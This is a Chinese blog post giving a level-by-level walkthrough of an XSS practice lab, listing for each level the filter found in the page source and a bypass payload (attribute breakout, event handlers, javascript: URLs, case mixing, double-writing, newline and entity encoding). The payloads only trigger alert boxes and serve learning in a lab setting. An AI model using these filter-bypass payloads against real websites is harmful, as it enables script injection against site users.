• XSS


    上周在网上看到的一个XSS平台,刷一波《doge

    Less - 1:

    1.进入主界面,由图二可知是GET请求,提交name=test,回显在页面

     

    2.查看源代码可知

     没有做任何过滤,显然存在反射型XSS漏洞

    3.构造payload

    <script>alert(/xss/)</script>
    

      

     Less - 2:

    1.在输入框输入的数据回显在上方

     

    2.试试上一关的payload

     

     3.查看源代码

     发现被包在value中,因此进行闭合构造

    4.payload

    "><script>alert(/xss/)</script>
    

     Less - 3:

    1.按照第二关进行尝试并查看源码,发现$str被转义,对尖括号进行了过滤

     

     

     2.因此可以构造标签事件进行过滤,在input标签中构造onfocus事件触发XSS

    3.payload

    ' onfocus=javascript:alert(1) '
    

      

     

    Less - 4:

    第四关原理同第三关,过滤的时候注意单引号改成双引号即可

     

    Less - 5:

    1.带入第四关的payload观察源代码,

     2.有源代码可知on,script都不可用而且strtolower()函数导致大小写绕过失效

    因此考虑用构造a标签再尝试利用a标签的href属性执行javascript:伪协议

    3.payload构造

    "><a href='javascript:alert(1)'>

     

     

    Less - 6:

     1.带入"><a href='javascript:alert(1)'>发现失效,查看源代码

     

     href等标签均失效,但相比于上一关,少了strtolower()函数,因此考虑大小写绕过

    2.构造payload

    "><sCript>alert(1)</sCRipt>

     

    Less - 7:

    1.带入"><sCript>alert(1)</sCRipt>发现依旧失效,查看源代码

     

     将某些标签直接被空白代替,因此考虑使用双写绕过

    2.构造payload

    "><scrscriptipt>alert(1)</scrscriptipt>

     

    Less - 8:(存储型XSS)

    1.添加链接,先用javascript:alert(1)试一波,查看源代码可知,常见字段都被加下划线,

     

     

     2.构造payload(注意:要在url栏中输入)

    javascrip%0at:alert(1)

     原理:

    href属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。 如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()。这些特殊字符在href中不会破坏原有的代码执行。

    因为这里直接在输入框输入url编码的数据会被再次编码,所以我们在url直接提交,使用%0a(换行符)隔开

    3.提交成功后,当鼠标指向“友情链接”,可以看到左下角出现了我们的JavaScript伪协议代码,点击后就会运行代码。

    法二:html转换

    1.

     2.将javascript:alert(1)进行转换

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

     3.此时需要带入输入框

    Less - 9:

    1.查看源代码可知,输入的必须含有http://

     

     2.根据上一题的payload可做如下构造

    javascrip%0at:alert('xss')<!--http://-->
    javascrip%0at:alert('xss')//http://
    javascrip%0at:alert('xss')/*http://*/

     

    Less - 10:

    1.查看源代码,可能有隐藏的表单,尝试提交t_link、t_history、t_sort变量,t_sort变量返回在了html的value中,但是过滤了尖括号

     2.构造payload,点击按钮即可

    &t_sort=click~~~" type="button" onclick="javascript:alert(1)  

  • 相关阅读:
    AngularJS---核心特性
    前后端分离原理
    吴军 见识 读后感
    CSS 颜色名称和CSS 颜色十六进制值
    springmvc+jsp引用本地图片文件
    Eclipse 构建Maven项目--普通web项目 复制另外一个项目的配置文件导致的问题
    html input type=date 赋值问题 必须yyyy-mm-dd格式
    解决eclipse中运行web项目时弹出的"Port 8080 required by Tomcat 9.0 Server at localhost is already in use...
    解决 Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.3.2:compile (default-compile)
    SpringMVC HelloWorld实例开发及部署
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13405777.html
Copyright © 2020-2023  润新知